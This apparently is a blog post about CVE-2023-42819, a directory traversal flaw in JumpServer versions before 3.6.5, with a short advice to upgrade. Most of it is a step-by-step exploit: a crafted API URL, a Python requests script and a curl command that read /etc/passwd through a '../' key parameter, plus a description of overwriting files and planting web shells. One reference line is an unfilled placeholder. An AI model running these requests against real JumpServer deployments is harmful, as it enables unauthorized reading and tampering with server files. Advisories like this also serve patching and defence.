JumpServer is a widely used, open-source bastion host. Its job is to manage and protect critical infrastructure by controlling access to servers and other devices. But in certain versions of JumpServer, a serious vulnerability (CVE-2023-42819) makes it dangerously easy for users—even those with limited permissions—to access or even change the contents of any file on the server. This post explains how this vulnerability works, gives detailed steps to exploit it, and points out what you should do to stay safe.
What Is CVE-2023-42819?
CVE-2023-42819 is a directory traversal flaw found in JumpServer versions before 3.6.5. Basically, it means a user can trick the application into serving up files stored anywhere on the server, just by crafting a malicious URL. Not only can files be read—attackers can also modify them, threatening both privacy and system integrity.
Official references
- NVD - CVE-2023-42819
- JumpServer Security Advisory (replace with actual advisory link if available)
Here’s a simple breakdown
1. Create a Playbook: Any logged-in user creates a playbook in the “Job-Template” menu (for example, named test).
2. Get Playbook ID: After creating the playbook, open its detail page. The page URL or interface will show the playbook’s unique ID, something like:
eadabef-c38f-492d-bd92-832bacc3df5f
3. Trigger Directory Traversal: Use a specially-crafted URL to tell JumpServer to fetch a file using the “key” parameter with ../ (dot-dot-slash). This moves the request up the directory tree, escaping the playbook folder and targeting any file, including system files.
Here’s What the URL Looks Like
https://jumpserver-ip/api/v1/ops/playbook/eadabef-c38f-492d-bd92-832bacc3df5f/file/?key=../../../../../../../etc/passwd
Change the key parameter to any path you want to read or potentially overwrite.
Example:
Retrieving /etc/passwd (Linux user database file)
import requests
url = 'https://jumpserver-ip/api/v1/ops/playbook/<PLAYBOOK-ID>/file/?key=../../../../../../../etc/passwd';
headers = {
"Authorization": "Bearer <YOUR_AUTH_TOKEN>",
"Content-Type": "application/json"
}
response = requests.get(url, headers=headers, verify=False)
print(response.text)
Replace <PLAYBOOK-ID> and <YOUR_AUTH_TOKEN> with your actual playbook ID and authentication token.
Can Attackers Also Modify Files?
Yes. A related method in the same API apparently lets attackers upload or modify files using similar directory traversal tricks in the key parameter. By sending a POST or PUT request with new content, attackers might overwrite configuration files or even place malicious code (like web shells) if the target file is writable.
Attack Requirements: The attacker needs any valid user account on JumpServer.
- Impact: Total access to sensitive files. With file write access, attackers could escalate privileges, backdoor systems, or bring down services.
- No Workarounds: There are no reliable configuration options to block this attack except upgrading.
## Proof-of-Concept: Reading /etc/passwd
Suppose you’ve created a playbook and found its ID is eadabef-c38f-492d-bd92-832bacc3df5f. To read etc/passwd, visit:
https://jumpserver-ip/api/v1/ops/playbook/eadabef-c38f-492d-bd92-832bacc3df5f/file/?key=../../../../../../../etc/passwd
Or use curl
curl --header "Authorization: Bearer <YOUR_TOKEN>" \
"https://jumpserver-ip/api/v1/ops/playbook/eadabef-c38f-492d-bd92-832bacc3df5f/file/?key=../../../../../../../etc/passwd"
The output should print the contents of /etc/passwd.
How To Fix
JumpServer developers patched this in version 3.6.5. All users should upgrade to at least version 3.6.5 immediately. The flaw is in the file path sanitization logic of their REST API, so only an official upgrade can reliably plug this hole.
> There are no known safe workarounds for this vulnerability.
References
- JumpServer GitHub
- NIST NVD CVE-2023-42819
Summary
If you’re running JumpServer and haven’t upgraded past version 3.6.5, your servers are at serious risk from any user with login access. Attackers can read and overwrite any file—including sensitive system files. Upgrade as soon as possible, and always audit user accounts carefully.
If you found this helpful, patch your deployment today and share this article to keep others safe!
Timeline
Published on: 09/27/2023 15:19:00 UTC
Last modified on: 09/29/2023 14:42:00 UTC